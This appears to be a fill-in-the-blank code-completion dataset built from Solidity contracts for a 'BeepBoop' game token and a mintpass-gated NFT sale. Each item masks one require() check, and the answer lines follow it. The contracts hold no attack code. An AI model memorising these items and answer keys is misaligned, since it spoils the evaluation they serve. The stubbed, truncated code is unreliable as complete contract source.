distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { require(<FILL_ME>) require(!tokenCapSet, "Token cap has been already set"); MAX_SUPPLY = tokenCup; } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
totalSupply()<tokenCup,"Value is smaller than the number of existing tokens"
228,652
totalSupply()<tokenCup
"Token cap has been already set"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.16; import "@oz/access/Ownable.sol"; import "@oz/token/ERC20/IERC20.sol"; import "@oz/token/ERC20/ERC20.sol"; import "@oz/security/ReentrancyGuard.sol"; import {IBattleZone} from "./interfaces/IBattleZone.sol"; /** * @dev Implementation of the {IERC20} interface. */ contract BeepBoop is ERC20, ReentrancyGuard, Ownable { IBattleZone public battleZone; uint256 public MAX_SUPPLY; uint256 public constant MAX_TAX_VALUE = 100; uint256 public spendTaxAmount; uint256 public withdrawTaxAmount; uint256 public reserveTaxAmount; address public reserveTaxAddress; uint256 public bribesDistributed; uint256 public activeTaxCollectedAmount; bool public tokenCapSet; bool public withdrawTaxCollectionStopped; bool public spendTaxCollectionStopped; bool public isPaused; bool public isDepositPaused; bool public isWithdrawPaused; bool public isTransferPaused; mapping(address => bool) private _isAuthorised; address[] public authorisedLog; mapping(address => uint256) public depositedAmount; mapping(address => uint256) public spentAmount; modifier onlyAuthorised() { } modifier whenNotPaused() { } event Withdraw(address indexed userAddress, uint256 amount, uint256 tax); event Deposit(address indexed userAddress, uint256 amount); event DepositFor( address indexed caller, address indexed userAddress, uint256 amount ); event Spend( address indexed caller, address indexed userAddress, uint256 amount, uint256 tax ); event ClaimTax( address indexed caller, address indexed userAddress, uint256 amount ); event ClaimReservedTax( address indexed caller, address indexed userAddress, uint256 amount ); event InternalTransfer( address indexed from, address indexed to, uint256 amount ); constructor(address battleZone_) ERC20("Beep Boop", "BeepBoop") { } /** * @dev Returnes current spendable balance of a specific user. This balance can be spent by user for other collections without * withdrawal to ERC-20 token OR can be withdrawn to ERC-20 token. */ function getUserBalance(address user) public view returns (uint256) { } /** * @dev Function to deposit ERC-20 to the game balance. */ function depositBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to withdraw game to ERC-20. */ function withdrawBeepBoop(uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to transfer game from one account to another. */ function transferBeepBoop(address to, uint256 amount) public nonReentrant whenNotPaused { } /** * @dev Function to spend user balance. Can be called by other authorised contracts. To be used for internal purchases of other NFTs, etc. */ function spendBeepBoop(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to deposit tokens to a user balance. Can be only called by an authorised contracts. */ function depositBeepBoopFor(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function to tokens to the user balances. Can be only called by an authorised users. */ function distributeBeepBoop(address[] memory user, uint256[] memory amount) public onlyAuthorised nonReentrant { } function _depositBeepBoopFor(address user, uint256 amount) internal { } /** * @dev Function to mint tokens to a user balance. Can be only called by an authorised contracts. */ function mintFor(address user, uint256 amount) external onlyAuthorised nonReentrant { } /** * @dev Function to claim tokens from the tax accumulated pot. Can be only called by an authorised contracts. */ function claimBeepBoopTax(address user, uint256 amount) public onlyAuthorised nonReentrant { } /** * @dev Function returns maxSupply set by admin. By default returns error (Max supply is not set). */ function getMaxSupply() public view returns (uint256) { } /* ADMIN FUNCTIONS */ /** * @dev Function allows admin to set total supply of token. */ function setTokenCap(uint256 tokenCup) public onlyOwner { require( totalSupply() < tokenCup, "Value is smaller than the number of existing tokens" ); require(<FILL_ME>) MAX_SUPPLY = tokenCup; } /** * @dev Function allows admin add authorised address. The function also logs what addresses were authorised for transparancy. */ function authorise(address addressToAuth) public onlyOwner { } /** * @dev Function allows admin add unauthorised address. */ function unauthorise(address addressToUnAuth) public onlyOwner { } /** * @dev Function allows admin update the address of staking address. */ function changeBattleZoneContract(address battleZone_) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on withdraw. */ function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to update limmit of tax on reserve. */ function updateReserveTaxRecipient(address address_) public onlyOwner { } /** * @dev Function allows admin to update tax amount on spend. */ function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on withdraw. */ function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner { } /** * @dev Function allows admin to stop tax collection on spend. */ function stopTaxCollectionOnSpend(bool _stop) public onlyOwner { } /** * @dev Function allows admin to pause all in game transfactions. */ function pauseGameBeepBoop(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game transfers. */ function pauseTransfers(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game withdraw. */ function pauseWithdraw(bool _pause) public onlyOwner { } /** * @dev Function allows admin to pause in game deposit. */ function pauseDeposits(bool _pause) public onlyOwner { } /** * @dev Function allows admin to withdraw ETH accidentally dropped to the contract. */ function rescue() external onlyOwner { } }
!tokenCapSet,"Token cap has been already set"
228,652
!tokenCapSet
"No Mintpass found"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); require(<FILL_ME>) require(salePremActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(msg.value == premintprice * _mintAmount, "Funds Incorrect"); require(premintSaleCounter + _mintAmount <= premintlimit,"Premint Sale Limit Reached"); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Premint"); } addPremintCount(_mintAmount); } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
token.balanceOf(msg.sender,3)>=1,"No Mintpass found"
228,858
token.balanceOf(msg.sender,3)>=1
"Premint Sale Limit Reached"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); require(token.balanceOf(msg.sender, 3) >= 1, "No Mintpass found"); require(salePremActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(msg.value == premintprice * _mintAmount, "Funds Incorrect"); require(<FILL_ME>) for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Premint"); } addPremintCount(_mintAmount); } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
premintSaleCounter+_mintAmount<=premintlimit,"Premint Sale Limit Reached"
228,858
premintSaleCounter+_mintAmount<=premintlimit
"NFT Sale Limit Reached"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { } function makeNft(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); uint256 brand = token.balanceOf(msg.sender, 1); uint256 artist = token.balanceOf(msg.sender, 2); uint256 legendaryplus = token.balanceOf(msg.sender, 3); uint256 legendary = token.balanceOf(msg.sender, 4); require(saleIsActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(brand >= 1 || artist >= 1 || legendaryplus >= 1 || legendary >= 1, "No Mintpass found"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(msg.value == price * _mintAmount, "Funds Incorrect"); require(<FILL_ME>) for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Make NFT"); } addnftCount(_mintAmount); } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
nftSaleCounter+_mintAmount<=makenftlimit,"NFT Sale Limit Reached"
228,858
nftSaleCounter+_mintAmount<=makenftlimit
"No Mintpass found"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); require(<FILL_ME>) require(salePremActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(brandSaleCounter + _mintAmount <= brandlimit,"Brand Sale Limit Reached"); require(msg.value == price * _mintAmount, "insufficient funds"); require( viewBrandCount(msg.sender) + _mintAmount <= 2, "you have reached your limit" ); uint256 count = viewBrandCount(msg.sender); addBrandCounts(_mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Brand NFT"); } addBrandCount(count +_mintAmount); } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
token.balanceOf(msg.sender,1)>=1,"No Mintpass found"
228,858
token.balanceOf(msg.sender,1)>=1
"Brand Sale Limit Reached"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); require(token.balanceOf(msg.sender, 1) >= 1, "No Mintpass found"); require(salePremActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(<FILL_ME>) require(msg.value == price * _mintAmount, "insufficient funds"); require( viewBrandCount(msg.sender) + _mintAmount <= 2, "you have reached your limit" ); uint256 count = viewBrandCount(msg.sender); addBrandCounts(_mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Brand NFT"); } addBrandCount(count +_mintAmount); } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
brandSaleCounter+_mintAmount<=brandlimit,"Brand Sale Limit Reached"
228,858
brandSaleCounter+_mintAmount<=brandlimit
"you have reached your limit"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { uint256 supply = totalSupply(); IERC1155 token = IERC1155(tokenAddress); require(tokenAddress != address(0x0), "Zero address found"); require(token.balanceOf(msg.sender, 1) >= 1, "No Mintpass found"); require(salePremActive, "Sale is not active"); require(supply + _mintAmount <= maxSupply, "Sold out"); require(_mintAmount > 0, "need to mint at least 1 NFT"); require(brandSaleCounter + _mintAmount <= brandlimit,"Brand Sale Limit Reached"); require(msg.value == price * _mintAmount, "insufficient funds"); require(<FILL_ME>) uint256 count = viewBrandCount(msg.sender); addBrandCounts(_mintAmount); for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(msg.sender, supply + i); emit Mintedlegendary(supply + i, _mintAmount, msg.sender,"Brand NFT"); } addBrandCount(count +_mintAmount); } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner { } function flipSale() public onlyOwner { } function flipPreSale() public onlyOwner { } function viewBrandCount(address _inst) public view returns (uint256) { } function withdrawAll() public payable onlyOwner { } function withdrawFixed(uint256 _amt) public payable onlyOwner { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } }
viewBrandCount(msg.sender)+_mintAmount<=2,"you have reached your limit"
228,858
viewBrandCount(msg.sender)+_mintAmount<=2
"You are not the owner of this NFT"
// SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.15; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Nft is ERC721Enumerable,ReentrancyGuard, Ownable { address tokenAddress; using Strings for uint256; string public baseURI; string public baseExtension = ".json"; string public notRevealedUri; uint256 public price = 68 ether; uint256 public premintprice = 30 ether; address t1 = 0x3C10D90796Ce828644951c0682012B3fabA52F8f; uint256 public maxSupply = 444; bool public revealed = false; bool public saleIsActive = false; bool public salePremActive = false; uint256 public makenftlimit = 124; uint256 public premintlimit = 186; uint256 public brandlimit = 20; uint256 public premintSaleCounter = 0; uint256 public nftSaleCounter = 0; uint256 public brandSaleCounter = 0; struct User { uint256 counter; } mapping(address => User) userStructs; struct metaData { uint256 tokenid; string data; address addr; } metaData[] public Metadata; event Mintedlegendary( uint256 tokenId, uint256 amount, address indexed buyer, string saleType ); constructor( string memory _name, string memory _symbol, string memory _initBaseURI, string memory _initNotRevealedUri ) ERC721(_name, _symbol) { } function _baseURI() internal view virtual override returns (string memory) { } function premintNFT(uint256 _mintAmount) public payable nonReentrant { } function makeNft(uint256 _mintAmount) public payable nonReentrant { } function giftNft(uint256 _mintAmount, address _address, string memory _saleType) public onlyOwner { } function brandNft(uint256 _mintAmount) public payable nonReentrant { } function setMintPass(address _tokenAddress) public onlyOwner { } function addPremintCount(uint256 y) private { } function addnftCount(uint256 y) private { } function addBrandCounts(uint256 y) private { } function addBrandCount(uint256 counter) private { } function updateMeta(uint256 _tokenid,string calldata data) public { require(<FILL_ME>) Metadata.push( metaData({ tokenid: _tokenid, data: data, addr: msg.sender }) ); } function reveal() public onlyOwner { } function notreveal() public onlyOwner { } function setPrice(uint256 _newCost) public onlyOwner { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setMakeNftLimit(uint256 _newMakeNftLimit) public onlyOwner { } function setPremintLimit(uint256 _newPremintLimit) public onlyOwner { } function setBrandLimit(uint256 _newBrandLimit) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function setNotRevealedURI(string memory 